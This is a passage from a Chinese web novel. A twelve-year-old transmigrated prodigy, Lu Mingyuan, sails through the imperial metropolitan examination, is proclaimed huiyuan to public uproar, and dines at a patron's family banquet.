这一望,他的瞳孔骤然收缩,整个人仿佛被施了定身法,僵在了原地。 他看到了什么? 他看到那个身形单薄的过分的少年,并没有在苦思冥想,也没有在焦躁不安。 少年正将三张写满了字迹的试卷,整整齐齐地并排摆放在木板的另一头,似乎是在等待墨迹干透。 那三张卷子,布局工整,字迹俊秀,墨色乌亮,一看便知是已经完成的稿子。 完成了? 三篇四书义,全写完了? 这才两个时辰啊! 巡考官的心脏猛地一跳,他下意识地揉了揉眼睛,以为自己看花了。 可眼前的景象没有丝毫改变。 那少年,那个看起来最多不过十来岁的孩子,此刻正从考篮里拿出一个水囊,慢条斯理地喝着水,神态平静得像是在自家书房里休憩。 怪物! 一个词,从巡考官的心底里蹦了出来。 他在这贡院里当差二十多年,见过乡试夺魁的少年天才。 也见过三四十岁才初次踏入会试考场的博学之刃,但从未见过如此……离谱的景象。 两个时辰,写完三篇八股文,这已经不是单纯的才思敏捷了,这是……这是妖孽! 寻常人构思一篇,就需要两个时辰,三篇文章,陆明渊两个时辰全部写完? 而且看他那气定神闲的样子,显然对自己的文章极有信心。 巡考官感到一阵口干舌燥,他艰难地吞了口唾沫,脚步有些虚浮地离开了这间号舍。 他不敢再看下去,他怕自己会忍不住发出惊呼,破坏了考场的纪律。 他必须要把这个情况,悄悄禀报给上面的分考官。 两个时辰,答完四书题。 这届会试,怕是要出大事了。 而号舍内的陆明渊,对外界的一切浑然不觉。 他喝了几口水,润了润喉咙,然后闭上眼睛,在脑海中将刚才写过的三篇文章又过了一遍。 确认没有任何疏漏和瑕疵之后,便彻底将它们抛在了脑后。 第一场的考试时间是三天。 如今,他只用了两个时辰,便完成了最重要的四书义部分。 剩下的时间,充裕的有些奢侈。 但他没有丝毫的松懈与自满。 他睁开眼,目光落在了剩下的试卷上。 五经题。 《诗》、《书》、《礼》、《易》、《春秋》,五选一,作一篇经义。 对于五经,陆明渊最为精通的,无疑是恩师林瀚文讲解最透彻,也是他自己花费心力最多的——《春秋》。 这部由孔子亲手修订的史书,字字珠玑,微言大义,是公认的最难啃的骨头之一。 选择它作为本经,本身就需要极大的勇气和深厚的学养。 陆明渊毫不犹豫地拿起了那张印着《春秋》题目的试卷。 【《春秋》:‘夏五月,郑伯克段于鄢。’何以称‘克’?何以不言‘出奔’?试论之。】 《郑伯克段于鄢》,《春秋》开篇第一案,也是《左传》中最为经典的段落之一。 题目问得极其刁钻,直指孔子下笔的两个关键用词:“克”与“不言出奔”。 为何写“克”?因为共叔段的势力已经强大到足以与国君为敌,平定他,如同攻克一个敌国。 这是在批判郑庄公的“养痈遗患”。 为何不写共叔段“出奔”? 因为他已经失去了作为弟弟的本分,也失去了公子的地位,不配史官为他记录去向。 这是在彰显“君臣大义”与“名分之正”。 其中的褒贬之义,层层叠叠,如剥春笋。 陆明渊的嘴角,勾起一抹淡淡的笑意。 这题目,正中他的下怀。 如果说四书义考的是“德”,是为人之本。 那么这道《春秋》题,考的便是“术”,是为政之要。 他的思绪,从个人的道德修养,瞬间切换到了波诡云谲的政治权谋与历史经纬之中。 他想起了恩师林瀚文在讲解这一段时,那凝重的神情和告诫的话语。 “明渊,记住。《春秋》之法,非止于褒贬一人一事,它是在为万世立法。 为君者,当如何处事? 为臣者,当如何自处? 为子者,当如何守分? 陆明渊再次提起了笔。 第166章 真正的决战,还在最后一场 克,而非讨。 一字之差,天壤之别。 讨,是上伐下,是君征臣,名正言顺。 而克,是敌国之争,是攻城拔寨,是以力胜之。 孔圣用此一字,便将郑庄公置于火上炙烤。 你既知其有异心,为何纵容其坐大,以至尾大不掉,终成心腹大患? 此为君王失职,是为“养痈遗患”之戒。 而不言“出奔”,则更是笔锋如刀,直刺骨髓。 共叔段身为王室公卿,却图谋不轨,已失其“弟”道,更失其“臣”分。 在孔圣的史笔之下,他已不是郑庄公的弟弟,不再是郑国的公子,只是一个叛逆,一个乱臣贼子。 这样的人,不配在史书上留下他仓皇出逃的狼狈身影。 史官惜墨,不为失道者书。 这便是《春秋》笔法,字里行间,藏着刀斧,含着褒贬。 为的不是记述一桩旧事,而是为万世君臣父子,立下一座不可逾越的规矩与法度。 德为体,术为用。 若说四书义是阐明那光风霁月的“德”,那么这道《春秋》题,考的便是那波谲云诡之下,维系纲常伦理的“术”。 陆明渊心中的滞涩之感一扫而空,取而代之的是一种通透的明悟。 【圣人作《春秋》,一字之褒,荣于华衮;一字之贬,严于斧钺。‘郑伯克段于鄢’一案,寥寥数字,实乃微言大义之典范也……】 他下笔再无半分迟疑,文气比之前写四书义时,少了几分浩然,却多了几分森然与锋锐。 【称‘克’者,罪庄公也。段虽不道,然羽翼未丰之时,庄公一言可制之,一令可缚之。然则何以养虎为患?盖有借段之恶,以清国内之杂音,行权谋之术也。此心可诛,故圣人以‘克’字贬之,明其非君臣之战,乃敌国之争,警示后世为君者,不可因一己之私,而纵容祸端,动摇国本……】 【不言‘出奔’者,绝段也。人之所以为人,在于名分纲常。段身为公子,不敬其兄;身为臣子,不忠其君。名分已失,人伦已丧,与禽兽何异?故圣人删其行迹,使其如断线之鸢,飘零于史册之外。此乃彰显名分之正,君臣之义,令天下乱臣贼子知所畏惧……】 一篇经义,不过六百余字,却仿佛展开了一幅波澜壮阔的历史画卷。 当最后一字落下,陆明渊搁下笔,轻轻吹了吹纸上的墨迹。 四篇大文章,至此全部完工。 他看了一眼那即将燃尽的线香,心中估算,从开考到现在,大约过去了两个半时辰。 剩下的时间,充裕得近乎奢侈。 他没有急于检查,而是将四份试卷并排摊在木板上,留出足够的空间让它们自然风干。 做完这一切,他才拿出水囊,喝了几口水,又取出一块用油纸包好的麦饼,小口小口地吃了起来。 号舍之外,是无数考生与命运的角力,是抓耳挠腮的焦虑,是搜索枯肠的痛苦。 号舍之内,于陆明渊而言,却是一片被时间遗忘的静谧之海。 他闭上眼,靠着冰冷的墙壁,开始休息。 一个时辰后,他准时睁开眼,目光清澈,精神饱满。 他将已经干透的试卷仔细检查了一遍,确认没有笔误和涂改之处,然后将其整齐地叠好,放在一旁。 两天时间,转瞬即逝。 第三天下午酉时一刻,悠长的钟声在贡院上空回荡。 “收卷——” 考官的唱名声如同一道命令,巷道里立刻响起了一片嘈杂的声响。 有释然的长叹,有纸张的摩擦声,也有压抑不住的低声啜泣。 但相比于乡试和院试时的众生百态,会试的考生们,大多显得沉稳了许多。 毕竟,能走到这一步的,无一不是心志坚毅之辈,早已习惯了成败的考验。 很快,号舍的门被打开,吏员收走了试卷。 陆明渊整理好自己的考篮,跟随着人流,缓缓走出了这囚禁了他们三天的龙门。 夕阳的余晖洒在脸上,带着一丝暖意。 他一眼就看到了等在远处牌坊下的若雪,以及几名身着便服,却气势沉凝的护卫。 “公子。” 若雪快步迎了上来,递过一个暖手炉,她的声音依旧清冷,但眼神里却藏着一丝关切。 “回客栈吧。”陆明渊接过手炉,淡淡地说道。 一行人穿过散场后喧闹的人群,回到了客栈。 刚进房间,客栈的掌柜便亲自送来了热水和丰盛的饭菜。 还没等陆明渊坐下,赵浩然府上的管家便已匆匆赶到。 “陆公子,我家老爷让我来问问,您考得如何?” 管家一脸热切,比自己儿子下场还要紧张。 “劳烦赵伯父挂心,一切都还顺利。” 陆明渊平静的回答。 管家得了准话,千恩万谢地去了。 当天晚上,陆明渊还是亲自去了一趟赵府。 “明渊,你……你让老夫不知该说些什么了。” 赵浩然端着茶杯的手微微颤抖,“此等才情,此等心性,非池中之物,非池中之物啊!” 他本以为陆明渊会说些“尽力而为”之类的谦辞,却没想到是“颇为顺手”这样充满了绝对自信的回答。 这份自信,比任何华丽的辞藻都更能说明问题。 从赵府出来,陆明渊婉拒了赵浩然派马车相送的好意,一个人走在清冷的街道上。 夜风吹起他的衣袂,他抬头望着天上的那轮明月,心中一片空明。 第一场,考的是经义,是根基。 而两天之后,第二场考的,才是真正的屠龙之术。 …… 短暂的休整之后,会试第二场如期而至。 考生们再次走进那熟悉的号舍,只是这一次,所有人的神情都变得更加凝重。 如果说第一场考的是学问,那么第二场考的,便是实务。 论一篇,判五道,诰一道。 这三样,直指为官理政的核心能力。 五道判语,涉及田产纠纷、婚姻争讼、商贸契约、盗窃伤人、宗族械斗,几乎囊括了地方州县可能遇到的大部分案件类型。 对于寻常考生而言,这些题目极为棘手,不仅需要熟悉《大乾律》,更需要洞悉人情世故。 但对陆明渊来说,这比写八股文还要轻松。 过去的一年里,林瀚文批阅刑名案卷时,常常会将一些典型案例拿出来,让他先行判断,写出判词,然后再亲自指点修正。 那些错综复杂的案情,那些狡猾如狐的讼棍,那些隐藏在律法条文背后的世道人心,陆明渊早已烂熟于心。 他几乎是一目十行地看完案情,便能迅速抓住其中的关键。 他的笔下,判词写得简明扼要,法理清晰,情理兼顾。 断田产,他引经据典,从《周礼》谈到《大乾律》,将土地归属判得明明白白; 判婚姻,他言辞恳切,既维护了礼法,又兼顾了人情,劝导双方好合好散; 论商契,他逻辑严密,将契约精神与诚信之本阐述得淋漓尽致,令狡辩者无言以对。 …… 五道判语,他一气呵成,快得不可思议。 最后,只剩下一道“诰”。 题目是模拟朝廷口吻,写一篇册封有功之臣为一等靖海侯的诰命。 这更是陆明渊的拿手好戏。 他自己便受过男爵之封,对那套繁复华丽,却又处处透着皇恩浩荡的行文格式,熟悉得不能再熟悉。 他凝神片刻,一篇辞藻华美、对仗工整、气势磅礴的诰命便跃然纸上。 当他写完最后一个字,放下笔时,窗外的天色,才刚刚开始偏西。 从开考到此刻,不过一天的时间。 第二场的所有题目,已全部答完。 陆明渊看着眼前这七份工整的答卷,满意地点了点头。 接下来的两天,他成了整个贡院最清闲的人。 考场内寒气逼人,不少考生冻得瑟瑟发抖,笔都快握不住。 而陆明渊的号舍内,却升起了一炉小小的红泥火炉。 他脱去厚重的外袍,只着一件单衣,或是靠墙而眠,或是拿出考篮中一本闲书。 就着炉火的微光,悠然自得地翻阅着。 这般景象,若是被外人看到,恐怕会惊掉下巴。 三天后,第二场考试结束的钟声再次敲响。 陆明渊不紧不慢地穿好外袍,熄灭炉火,将所有考具收拾妥当。 当吏员打开门,看着他那从容不迫的神情时,不由得愣在了原地,半晌说不出话来。 陆明渊没有理会他的惊讶,交上试卷,平静地走出了贡院。 第167章 今年的会元,到底花落谁家啊? 两日后的休沐,京城的空气里都弥漫着一种奇异的张力。 刚刚经历过一场鏖战的举子们,像是被绷紧后又骤然松开的弓弦。 有人选择在酒楼里烂醉如泥,有人则聚在茶馆中,高谈阔论。 也有人复盘着考题,争论着优劣,仿佛声音越大,便越能说服自己金榜题名。 陆明渊没有参与到任何一场喧嚣之中。 他先是依足了礼数,去赵浩然府上拜谢。 当赵浩然看到这个少年时,几乎以为自己眼花了。 眼前的陆明渊,面色红润,眼神清亮,全身上下不见半点考场中熬出来的疲态与狼狈。 “明渊,你……这第二场,感觉如何?” 陆明渊坦然道:“回伯父,论题与判语,皆是恩师平日里耳提面命过的内容,因此还算顺手。” 此言一出,赵浩然端着茶杯的手,又是那熟悉的微微一颤。 又是“顺手”! 寻常考生能将一场的题目答完便已是万幸,他倒好,场场皆是“顺手”! 赵浩然心中那片惊涛骇浪,已然快要掀翻他这几十年的养气功夫。 他看着陆明渊,嘴唇翕动了半天,最终只化作一声长叹:“好,好啊……老夫静候佳音!” 从赵府出来,天色已近黄昏。 若雪提着一盏小巧的琉璃灯,灯火在晚风中摇曳,将两人的影子拉得忽长忽短。 “公子,我们是直接回客栈吗?” 她轻声问道,声音里带着一丝不易察觉的关切。 “不急。” 陆明渊看了一眼街边熙熙攘攘的人流,说道,“随便走走吧。” 京城的街道,繁华得仿佛一幅流动的盛世画卷。 两人一前一后,沉默地走着,与周遭的喧闹格格不入。 他们路过一座书院,门前聚集着一群年轻学子,正围着一位老先生。 众人焦急地询问着第三场策论可能会考的方向,一个个神情肃穆,如临大敌。 若雪看着这一切,又回头看了看自家公子那平静无波的侧脸,心中满是疑惑。 她不明白,为何满城的考生都如热锅上的蚂蚁,唯独公子,却像是置身事外的看客。 陆明渊仿佛看穿了她的心思,淡淡一笑。 他当然不在乎。 因为他比这个时代任何一个人都清楚,大考之前,最忌讳的便是心神不宁,自我加压。 前世那场决定命运的高考,他便是吃了这个大亏。 考前通宵达旦的背诵重点,将自己逼到了极限,结果踏入考场时头昏脑涨。 一道本该是送分题的数学大题,愣是看错了条件,最终与心仪的学府失之交臂。 那份懊悔,即便隔了一世,依旧刻骨铭心。 如今重活一回,他拥有了远超常人的心境与底气。 其一,是那过目不忘的神赋,经史子集早已烙印在脑海深处,无需临阵磨枪。 其二,便是他这具年仅十二岁的身体。 十二岁,就算这次名落孙山,又如何? 他有的是时间,有的是机会卷土重来。 当别人将科举视为毕生唯一的独木桥时,在他眼中,这不过是人生漫长旅途中的一处风景。 当一个人不再畏惧失败时,他便已经立于不败之地。 …… 两日后,会试第三场,也是最后一场,如期而至。 当陆明渊再次踏入那间熟悉的号舍时,他能清晰地感觉到,整个贡院的空气,都仿佛凝固了。 肃杀之气,前所未有。 第三场,考经史时务策五道。 这五道题,没有标准答案,没有固定范式。 它考的,是一个人真正的学识、见地、格局,以及洞察时局的眼光。 这是将相之才与庸碌之辈的分水岭,是决定一个读书人未来是成为裱糊匠,还是成为擎天柱的关键。 陆明渊展开试卷,目光缓缓扫过。 【论河工、漕运、海防三者之关联,并言其缓急之序。】 【前朝之亡,或曰宦官,或曰党争,或曰藩镇,试申汝见。】 【我朝北有鞑靼,南有倭寇,东南有红毛番,何以制之?】 【……】 五道题目,一道比一道宏大,一道比一道艰深。 这一次,陆明渊没有像前两场那样从容。 他端坐在木板前,闭上双眼,整整一炷香的时间,一动不动。 他的脑海中,前世历史的浩瀚长河与今生所学的经史典籍,正以前所未有的速度交汇、碰撞、融合。 许久,他才缓缓睁开眼,眸中一片清明。 他认真地研了墨,笔尖在砚台上轻轻舔舐,直至饱满圆润。 然后,他落笔了。 论河工,他从大禹治水谈起,直指黄河之患非一日之功,乃是历朝历代积弊所致。 提出“束水攻沙”与“分流入海”并举之策。 论前朝之亡,他跳出宦官、党争的窠臼,直指核心在于“财赋崩溃,民心尽失”,以“天下之财,不足以养兵。 天下之兵,不足以卫民”为纲,层层剖析,鞭辟入里,令人不寒而栗。 论边防,他更是石破天惊,提出“以商养战,以夷制夷”的策略。 对北,主张开放边贸,分化拉拢鞑靼各部。 对南,则力主组建强大水师,将倭寇扼杀于外海,并联合南洋诸国,共同对抗新崛起的红毛番。 …… 整整两天,陆明渊几乎不眠不休,将全副心神都沉浸在这五篇策论之中。 直到第三天下午,当他写完最后一个字,放下笔的那一刻,一种前所未有的疲惫感,如同潮水般将他淹没。 他靠着墙壁,缓缓闭上了眼。 不知过了多久,悠长的钟声在贡院上空回荡,惊醒了无数沉浸在文字狱中的灵魂。 “会试终——” 主考官那被拉长的唱名声,仿佛一道赦令。 刹那间,压抑了九天的情绪,彻底爆发。 有喜极而泣的嚎哭,有如释重负的狂笑,也有麻木的沉默。 陆明渊推开号舍的门,一股冰冷的空气扑面而来。 他抬头看去,只见天空不知何时变得铅灰,一片、两片……晶莹的雪花,开始从天穹之上,悠悠然飘落。 起初是零星的雪绒,转瞬间,便化作了漫天飞舞的鹅毛大雪。 整个京城,仿佛在这一刻被按下了静音键。 无数人走出屋檐,伸出手,接住那冰凉的洁白。 贡院外,焦急等待的家人;酒楼里,酩酊大醉的考生;府邸中,忧心忡忡的官员……所有人都被这场突如其来的大雪所吸引。 压抑了太久的京城,需要一场狂欢。 庆祝会试的结束,也庆祝这场象征着祥瑞丰年的大雪。 整个京城,都沸腾了。 …… 三天后,雪霁初晴。 贡院门前那面巨大的红墙,成了整个大乾王朝的焦点。 放榜之日,人山人海,摩肩接踵。 成千上万的人聚集在这里,伸长了脖子,等待着那决定无数人命运的一张薄薄的黄纸。 状元楼,京城最好的客栈之一,此刻更是热闹非凡。 临街的窗户全部打开,无数双眼睛,都死死地盯着贡院的方向。 客栈三楼,一间雅致的房间内。 陆明渊正临窗而坐,悠闲地品着一杯热茶,仿佛外面那足以将人挤成肉饼的喧嚣,与他毫无关系。 若雪站在一旁,替他续上茶水,终于还是忍不住问道:“公子,我们真的不去看看吗?” 陆明渊放下茶杯,摇了摇头,唇角勾起一抹淡笑。 “不必。这状元楼的位置,不是比红墙底下看得更清楚么?” 他顿了顿,继续道:“再者,今日贡院之前,鱼龙混杂,三教九流,什么人都有。” “我们去了,反倒徒增烦恼。若是中了,自然会有人敲锣打鼓地来报喜,我们又何必去凑那个热闹?” 若雪闻言,这才恍然。 是啊,以公子的才学,又岂会名落孙山? 自己真是关心则乱了。 就在这时,一阵激昂的锣鼓声由远及近,瞬间将所有人的注意力都吸引了过去。 “捷报——” “大喜——” 只见一队官吏骑着高头大马,簇拥着一名手持喜报的报录人,一路敲锣打鼓而来。 “恭贺状元楼贵客,钱塘周公子,高中会试第二百一十七名,赐贡士出身!” 话音刚落,状元楼二楼的一扇窗户猛地被推开。 一个身着华服的年轻公子探出半个身子,激动得满脸通红,随即哈哈大笑起来。 “赏!重重有赏!” 他身旁的下人立刻会意,从窗口抛下一袋袋沉甸甸的银子,砸在人群中,引来一片欢呼与争抢。 “周公子大气!” “同喜同喜!” 状元楼的掌柜也满面红光地跑了出来,指挥着小二在门口摆开案桌,向围观的路人分发喜糖、糕点。 整个客栈都沉浸在一片喜气洋洋的氛围之中。 紧接着,不远处的“魁首居”外,也响起了类似的唱榜声,又一位幸运儿金榜题名。 一道道喜报,如同一颗颗投入湖面的石子,在人群中激起一圈圈涟漪。 随着中榜者的名字一个个被念出,现场的气氛也愈发热烈。 终于,有好事之人按捺不住,高声喊道。 “别一个个念了!急死个人!今年的会元,到底花落谁家啊?” 这一声,问出了所有人的心声。 喧闹的人群,瞬间安静了许多。 无数道目光,齐刷刷地望向了那队报喜的官吏。 会元,乃是天下三万举子之首,是真正的天之骄子,未来的宰辅之选。 第168章 会元,确实是天大的荣耀 真正的华彩乐章,只为那一人而奏响。 雅间之内,空气仿佛比窗外拥挤的街道还要凝滞几分。 炭火在兽首铜炉里烧得正旺,将一室都熏得暖融融的。 可张孝纯与李慕白两人的心,却像是浸在冰水里,拔凉拔凉的。 他们是陆明渊在京城结识的同乡举子,亦是这状元楼的住客。 此刻,两人皆是坐立不安,目光不住地瞟向窗外,又焦虑地转回到陆明渊身上。 “明渊,这……这都唱到第七名了,怎么还不见你的名字?” 张孝纯搓着手,额角已经渗出了细密的汗珠,“你……你就真的一点儿也不急?” 陆明渊正将一杯新沏的“雀舌”推到他的面前。 他抬眼,看了看两位面色煞白的好友,温和地笑了笑。 “孝纯兄,慕白兄,放榜如判案,结果早已写定。” “我等在此处焦急,并不能让榜上多出一个名字,也不能让落榜之人金榜题名。” “既然如此,何不静心安坐,饮了这杯茶?” 能中就中,中不了,紧张也不会中。 慢慢等就是了。 道理谁都懂,可真正能做到的,又有几人? 张孝纯与李慕白对视一眼,皆从对方眼中看到了苦笑与钦佩。 眼前这个比他们小了近十岁的少年,其心性之沉稳,城府之深沉,实在不像个凡人。 两人无奈,只得端起茶杯,却只是将温热的杯壁贴在冰凉的手心,一口也喝不下去。 就在这时,楼下又是一阵喧哗,紧接着,那熟悉的锣鼓声与唱报声再次响起。 这一次,声音竟是前所未有的响亮,仿佛就在状元楼的门口。 “捷报——” “大喜——” “恭贺状元楼贵客,南直隶孙公子,高中甲辰科会试第三名,赐贡士出身!” 轰! 整个状元楼仿佛被投下了一枚炸雷,瞬间沸腾! 三楼另一间雅间的门被猛地撞开,一位锦衣公子在众人的簇拥下冲了出来。 他面色涨红,双目含泪,身子抖得如同风中落叶,嘴里反复念叨着:“中了……我中了……” 掌柜的笑得合不拢嘴,亲自领着伙计送上早已备好的红绸与赏钱。 鞭炮声、恭贺声、欢笑声混作一团,喜庆的气氛几乎要将房顶掀开。 “第三名竟也在我们状元楼!” 李慕白激动地一拍大腿,随即又颓然坐下。 “完了,完了,前三甲已出其一,希望愈发渺茫了。” 话音未落,街对面那家同样闻名京城的“魁首居”,也爆发出了一阵惊天动地的欢呼。 很快,消息传来。 “魁首居的客人,湖广的刘公子,中了第二名!” 亚元! 这一下,连张孝纯都彻底坐不住了。 他豁然起身,在房内来回踱步,口中念念有词。 “三甲已出其二,一个在状元楼,一个在魁首居……这……这会元,究竟会是谁?” 整个京城,所有关注着科举盛事的人,都在问同一个问题。 会元,花落谁家? 状元楼与魁首居,这两家京城最好的客栈,仿佛成了无形的擂台。 各自压上了一位绝顶天才,就等着最后那一声定鼎之音。 而就在这万众期待的时刻,贡院红墙之外,那积压了数日的最终悬念,终于被揭开了。 一名吏员,用一根长长的竹竿,将那张牵动着天下读书人命运的巨大黄榜,缓缓展开。 最顶端,最显眼的位置,一行以朱砂写就的蝇头小楷,清晰地映入了所有人的眼帘。 人群在经历了一瞬间的死寂之后,爆发出了一阵难以置信的惊呼。 “谁?会元是谁?” 后面挤不进来的人焦急地大喊。 一个站在最前排,看清了榜文的年轻书生,失魂落魄地转过身,他目光呆滞,喃喃自语。 “会元……会元是……” “浙江省,陆明渊!” “甲辰科会试会元,浙江省,陆明渊!” 这个名字,仿佛带着一种奇异的魔力,从红墙之下,以一种恐怖的速度,席卷了整条长街,席卷了半座京城! “陆明渊?哪个陆明渊?” “就是那个乡试写出奇文,十岁便封了男爵的神童!” “是他?他才多大年纪?十二岁?十二岁中会元?这……这怎么可能!” “走!快去状元楼!听说他就住在状元楼!” “去看看!我定要去亲眼见一见这位旷古烁今的少年会元!” 人潮,如同决堤的洪水,从四面八方,朝着状元楼的方向疯狂涌来。 他们要见证奇迹,要瞻仰这位几乎可以说是从神话中走出来的天之骄子。 …… “来了!来了!报喜的官爷来了!” 不知是谁在楼下喊了一嗓子。 激昂的锣鼓声由远及近,这一次,那马蹄踏在青石板上的声音,竟带着一种千军万马般的气势。 为首的报录官吏,换上了一身崭新的绯红官袍,满面红光。 他手中高举着一份烫金的喜报,那喜报的尺寸,比之前所有人的都要大上一圈。 他身后的队伍,也远比之前庞大,旌旗招展,仪仗俨然。 他们没有在楼下停留,而是径直策马到了状元楼的正门之前,勒住缰绳。 整个世界,仿佛都在这一刻安静了下来。 状元楼内外,成千上万道目光,汇聚于一点。 报录官清了清嗓子,运足了丹田气,用一种近乎咏唱般的调子,高声喝道: “奉天承运,皇帝诏曰!” “甲辰科会试,天下举子八千,取中三百。” “兹有浙江举子,陆明渊,经义冠绝,策论无双,拔得头筹!” 他深吸一口气,声音陡然拔高,响彻云霄! “恭贺——状元楼贵客,浙江陆公子明渊,高中甲辰科会试——会元!” “会元!!” “会元!!” 尾音拖得极长,在长街上空久久回荡。 死寂。 长达三个呼吸的死寂。 紧接着,是火山喷发般的狂潮! “真的是他!真的是陆明渊!” “天啊!十二岁的会元!我大乾开国以来,可曾有过如此盛事?” “状元楼!状元楼这回可是把魁首居的脸都打肿了!” 雅间之内,张孝纯和李慕白已经彻底呆住了。 他们张着嘴,傻傻地看着窗外那山呼海啸般的人群,又机械地转过头。 看着那个依旧安坐窗边,神色淡然的少年。 “公子……” 若雪的声音带着一丝哭腔,她激动得浑身颤抖,明亮的眼眸中,水光潋滟。 就在这时,状元楼的掌柜,竟是亲自抱着一个沉甸甸的红漆木箱,疯了一般地冲上了三楼的露台。 他站在露台边缘,对着楼下黑压压的人群,状若疯狂的大吼道。 “为贺陆会元登科!小店今日,全场开销,分文不取!!” 吼声未落,他猛地打开木箱,将一锭锭雪白的银元宝,如同天女散花一般,奋力洒向了人群! “千两白银!与诸君同贺!” 哗—— 人群彻底疯了!银子、喜糖、糕点,混杂着人们的尖叫与狂笑,将这喜庆的气氛推向了顶峰。 在这片喧嚣的中心,雅间的门被轻轻推开。 陆明渊走了出来。 当他出现在三楼的廊道上时,所有人的目光,仿佛被一只无形的手攫住,齐刷刷地投向了他。 楼上楼下,瞬间鸦雀无声。 无数双眼睛,带着震惊,带着好奇,带着羡慕,带着嫉妒,带着狂热,凝视着这个创造了历史的少年。 陆明渊的目光平静地扫过众人,微微颔首,缓步下楼。 人群不自觉地为他分开一条道路。 他走到大门外,那为首的报录官立刻翻身下马,恭恭敬敬地将那份烫金的喜报,以及一个托盘,高高举过头顶。 托盘上,静静地躺着一枚温润的汉白玉牌,一套崭新的贡士官服,以及一方代表着贡院身份的玉引。 “请陆会元接喜!” 陆明渊伸出双手,从容地接过。 “有劳诸位官爷了。” 没有激动,没有失态,甚至没有一丝多余的表情。 他就那样,在万众瞩目之下,领了象征着甲辰科第一人的荣耀。 然后转身,在一片死寂之中,淡定地返回了房间。 直到他的背影消失在楼梯的拐角,空气中这才爆发出更加热烈的议论声。 “砰”的一声,雅间的门被关上,隔绝了外界的一切喧嚣。 李慕白和张孝纯还是一脸梦游般的神情。 “明……明渊……” 张孝纯的嘴唇哆嗦着,半天说不出一句完整的话。 “你……你真的……会元……” “侥幸而已。” 陆明渊提起茶壶,给两人面前早已冷掉的茶杯重新续上热水,动作行云流水,没有半分凝滞。 他看向激动的小脸通红的若雪,微笑道:“若雪,去备一份厚礼。今晚,我们要去拜访赵伯父。” 若雪还沉浸在巨大的喜悦中,闻言一愣,随即重重地点头:“是,公子!我这就去!” 看着几人依旧不敢置信的模样,陆明渊心中暗自一叹。 会元,确实是天大的荣耀。 但对他而言,这不过是漫长棋局的开篇,是叩响权力殿堂的第一声钟鸣。 真正的风暴,还在后面。 状元楼外的狂欢,足足持续了一整天。 “陆会元”三个字,如同长了翅膀,飞入了京城的每一个角落。 王公贵胄的府邸,寻常百姓的茶肆酒楼,都在议论着陆明渊这个名字。 而话题的主角,却对此毫不在意。 他静静地在房间里读着书,等待着。 直到天色渐渐昏暗,街上的喧嚣与狂热随着夜幕的降临而稍稍褪去,陆明渊才放下了手中的书卷。 他算好了时间。 第169章 竟是想做好事不留名? 赵府坐落在城东的静巷里,朱红大门上的铜钉在灯笼的映照下,反射着沉静而威严的光。 与白日里那些门庭若市的权贵府邸不同,这里显得格外幽深宁静。 陆明渊递上拜帖,门房早已得了吩咐,连通报都省了,恭敬地将他一路引至内院。 穿过几重回廊,绕过一座精致的假山,眼前豁然开朗,一间灯火通明的暖阁出现在眼前。 还未走近,便听见里面传来一个爽朗的笑声。 “明渊来了!快,快请进来!” 暖阁的门被从内推开,身着暗青色锦袍的赵浩然大步流星地迎了出来,脸上是毫不掩饰的欣赏与喜悦。 他一把拉住陆明渊的手,将他牵引至室内。 “伯父。” 陆明渊躬身行礼。 “自家人,莫要多礼!” 赵浩然笑着将他按在一张椅子上,陆明渊这才发现,这并非他预想中的书房密谈,而是一场……家宴。 一张硕大的紫檀木圆桌上,已经摆满了琳琅满目的菜肴,入眼处便是一桌规格极高的满汉全席。 桌旁坐着的,除了赵浩然,还有一位雍容华贵的夫人,想来便是赵夫人。 此外,还有两个与自己年纪相仿、眉眼间与赵浩然有几分相似的少年,以及一个垂着头、略显羞涩的豆蔻少女。 这阵仗,让陆明渊一时间有些始料未及。 他带来的礼物,在如此隆重的家宴面前,似乎显得有些单薄了。 “怎么?被吓到了?” 赵浩然看着他微怔的神情,哈哈大笑。 “今日你高中会元,本该大宴宾客,为你庆贺。” “但伯父想着,你性子沉静,怕是应付不来那些繁文缛节,反倒不自在。” “所以啊,就只叫了自家人,给你办个家宴,接风洗尘,也为你庆功!” 他指着桌旁的几人,一一介绍道。 “这是你赵伯母。这两个,是我的两个不成器的儿子,赵承宗、赵承嗣。这个是小女,赵清芷。” 赵夫人温婉地站起身,对着陆明渊微微颔首,目光中满是慈爱与赞许。 “早就听老爷提起你,说你是百年难遇的奇才,今日一见,果然气度不凡。” 那两个少年,赵承宗与赵承嗣,也立刻起身,对着陆明渊郑重地拱手作揖:“见过陆兄。” 他们的姿态极为客气,甚至带着一丝发自内心的尊敬。 身为大理寺卿之子,他们见过的天才俊彦不知凡几。 但十二岁的会元,这本身就是一个无法逾越的神话,足以让任何同龄人感到敬畏。 陆明渊连忙起身还礼,心中却是一暖。 赵浩然此举,看似随意,实则用心良苦。 用最亲近的家宴来招待,这代表着一种毫无保留的接纳与示好,是将他真正视作了自己人。 “都坐,都坐!开席!” 赵浩然兴奋地招呼着,亲自提起酒壶,为陆明渊斟满了一杯琥珀色的佳酿。 “来,明渊!这一杯,伯父敬你!” 他高高举起酒杯,声音洪亮。 “为我大乾贺!贺我大乾又出一位国之栋梁!为你的前程贺!会元已是囊中之物,殿试之上,定能再展雄风,独占鳌头!” 说罢,他一饮而尽,满脸红光。 放下酒杯,他又猛地一拍桌子,瞪向自己的两个儿子。 “你们两个!都好好看看!看看明渊!再看看你们自己!” 赵承宗和赵承嗣闻言,立刻低下了头,一副聆听教诲的模样。 “人家明渊才十二岁,便已是会元在握!你们呢?一个十六,一个十五,今年才堪堪中了乡试,连会试的门槛都没摸到!” “平日里让你们多读些书,一个个都当成耳旁风!若是能有明渊一半的勤奋与天资,我做梦都要笑醒了!” 赵浩然一番话说得是声色俱厉,可眼底的笑意却怎么也藏不住。 陆明渊看了一眼那两位面露惭色的少年,心中了然。 能在十六岁的年纪就考中举人,这已经是天赋异禀,放在任何地方都是值得夸耀的天才。 赵浩然这番“教训”,明着是骂儿子,实则是在抬高自己。 “伯父言重了。” 陆明渊放下酒杯,微笑道,“两位兄长年纪轻轻便已是举人功名在身,已是人中龙凤。” “小侄不过是侥幸,加上恩师教导有方,这才占了些便宜。来年春闱,两位兄长定能厚积薄发,金榜题名。” 一番话说得不卑不亢,既给了赵浩然面子,也安抚了那两位少年的情绪。 赵承宗和赵承嗣闻言,皆是眼前一亮,感激地看了陆明渊一眼。 “你听听!你听听!” 赵浩然指着陆明渊,对两个儿子道。 “什么叫气度?什么叫胸襟?这便是!你们要学的,不只是人家的学问,更是人家的这份心性!多跟明渊亲近亲近,总没坏处!” 家宴的气氛,就在这看似严厉实则融洽的氛围中进行着。 